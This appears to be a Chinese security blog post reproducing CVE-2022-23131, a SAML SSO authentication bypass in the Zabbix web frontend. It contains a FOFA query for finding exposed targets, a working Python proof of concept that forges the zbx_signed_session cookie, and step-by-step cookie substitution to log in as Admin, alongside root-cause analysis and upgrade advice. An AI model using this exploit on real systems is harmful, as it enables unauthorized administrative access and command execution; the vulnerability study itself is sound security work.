这种历史方法效果很好,但在开发和部署现代 Web 应用程序的方式上存在缺陷。例如,它不能很好地扩展:如果后端服务分散在多个服务器上,如何确保一个会话在服务甚至整个服务器群中可用?
因此,开发人员在客户端引入了会话存储。他们现在不必为客户端分配会话标识符,而是必须在每个请求中发送状态的副本。像 ASP 和 Java 这样的技术堆栈将这个概念包装在一种称为“视图状态”的东西中,但现在很常见的是依赖于 JSON Web 令牌 (JWT) 标准。
这两种方法的目标都在客户端安全地存储数据,但后端服务仍然可以确保其真实性和完整性:它需要使用密码学来提供这些保证。尽管存在配置错误的风险(弱机密、支持破坏的加密算法)以及撤销 JWT 的固有困难,但这主要是一种安全的方法。
在此类用例中,不得混淆加密和身份验证提供的安全保证。虽然加密数据在用户的眼里可能看起来“安全”,但后端服务无法检测到会话数据是否被客户端更改。使用 ECB 等加密模式甚至可以让攻击者在不知道密钥的情况下制作有效的任意密文!
为了演示由于客户端会话代码的不安全设计和实现而可能出现的风险,让我们看看我们在 Zabbix 中发现的一个漏洞的技术细节。
此漏洞影响了 5.4.8、5.0.18 和 4.0.36 之前所有受支持的组件版本,
对此,我们团队为验证漏洞是否可被利用进行了完整的复现。
复现过程:
1、首先通过fofa对目标进行筛选,对其所包含的信息进行了搜索,并确认目标。
2、构造:fid="8+mLOCQ9fj2pp8Nm6hCD+A==" && title=="Zabbix"
3、通过浏览器,登录网页,进行查看
4、首先尝试弱口令,发现并登入不上,并且提示错误的用户名或密码或账户被暂时阻止。
5、使用poc:CVE-2022-23131-main,在kali中进行利用,可以看到此处我们得到了一个decode_payload以及一个zbx_signed_session
import requests
import re
import urllib.parse
import base64
import json
import sys
def exp(target, username):
resp = requests.get(url=target, verify=False)
cookie = resp.headers.get("Set-Cookie")
zbx_session = re.findall(r"zbx_session=(.*?); ", cookie)
url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8')
base64_decode_data = base64.b64decode(url_decode_data)
decode_to_str = str(base64_decode_data, encoding='utf-8')
to_json = json.loads(decode_to_str)
tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"])
payloadJson = json.dumps(tmp_ojb)
print("decode_payload:", payloadJson)
payload = urllib.parse.quote(base64.b64encode(payloadJson.encode()))
print("zbx_signed_session:", payload)
if __name__ == "__main__":
if len(sys.argv) != 3:
print("argv error")
exit(0)
target = sys.argv[1]
username = sys.argv[2]
exp(target, username)
6、浏览器中,右键检查元素,选择Application里的Cookies可以找到我们现在这个页面的Cookie
7、在此处,对本页面的Cookie进行更改,改为我们通过POC获得的zbx_signed_session内的值,之后我们可以发现此时Cookie的值已经被改变了。
8、之后点击sign in as guest。
9、此时成功登入管理员页面。
漏洞原理:
监控平台 Zabbix 通常部署在具有四个不同组件的基础设施上:
lZabbix Agent :在所有被监控节点上运行的服务,当Zabbix Server请求时收集信息;
lZabbix Server:它连接到Zabbix Agents以收集监控数据并在达到配置的阈值时发出警报;
lZabbix 代理:将单个Zabbix 服务器与数百个Zabbix代理相关联可能非常昂贵且难以在某些网络拓扑中部署。Zabbix Proxy实例旨在集中整个区域的数据,并将收集到的数据报告给主Zabbix Server;
lZabbix Web Frontend:Zabbix Server的接口,通过 TCP 和共享数据库进行通信。系统管理员使用此仪表板访问收集的监控数据并配置Zabbix Server(例如列出主机、在Zabbix Agents上运行脚本)。
我们分析了Zabbix Web 前端的外部攻击面,以更好地了解与该软件暴露于不受信任的网络相关的风险。这项工作导致发现了这个关键漏洞,CVE-2022-23131 ,这些发现都与 Zabbix 在客户端存储会话数据的方式有关。
并希望可以与各位讨论其影响以及如何在早期开发阶段发现它。
CVE-2022-23131 - 绕过 SAML SSO 身份验证原理:
安全断言标记语言 (SAML) 是最常见的单点登录 (SSO) 标准之一。围绕 XML 实现,它允许身份提供者(IdP,一个能够对用户进行身份验证的实体)告诉服务提供者(SP,这里是 Zabbix)你是谁。您可以将Zabbix Web 前端配置为允许通过 SAML 进行用户身份验证,但默认情况下不启用它,因为它需要了解身份提供者的详细信息。这是企业部署最常见的设置。
与 SAML 身份验证机制相关的代码可以在index_sso.php中找到。简而言之,它的目标是:
将用户重定向到 IdP;
用户通过身份验证后,验证传入 SAML 有效负载的格式和签名。创建一个名为saml_data的会话条目来记住用户的属性;
如果会话中存在名为saml_data的条目,则提取其值并根据username_attribute的值在 Zabbix 上对用户进行身份验证。
如上一节所述,CEncryptedCookieSession::checkSign()永远不会在此文件中调用,因此会话条目saml_data[username_attribute]的值可以完全由客户端控制:
ui/index_sso.php
漏洞利用很简单,特别是因为Zabbix Web 前端自动配置了一个名为Admin的高权限用户。
一旦在仪表板上被认证为管理员,攻击者可以在任何附加的Zabbix Server上执行任意命令,如果在配置中明确允许AllowKey=system.run[*](非默认) ,则可以在Zabbix Agents上执行。
整改建议:
发现的漏洞影响我们研究时所有受支持的Zabbix Web 前端版本,包括 5.4.8、5.0.18 和 4.0.36。它们不需要事先了解目标,并且可以被攻击者毫不费力地自动化,我们强烈建议您将运行Zabbix Web 前端的实例升级到 6.0.0beta2、5.4.9、5.0.19 或 4.0.37 以保护您的基础设施。
参考文件:
https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
https://www.securityweek.com/cisa-warns-attacks-exploiting-recent-vulnerabilities-zabbix-monitoring-tool?&web_view=true
原文始发于微信公众号(凭阑安全):君墨篇绕过 SAML SSO 身份验证复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论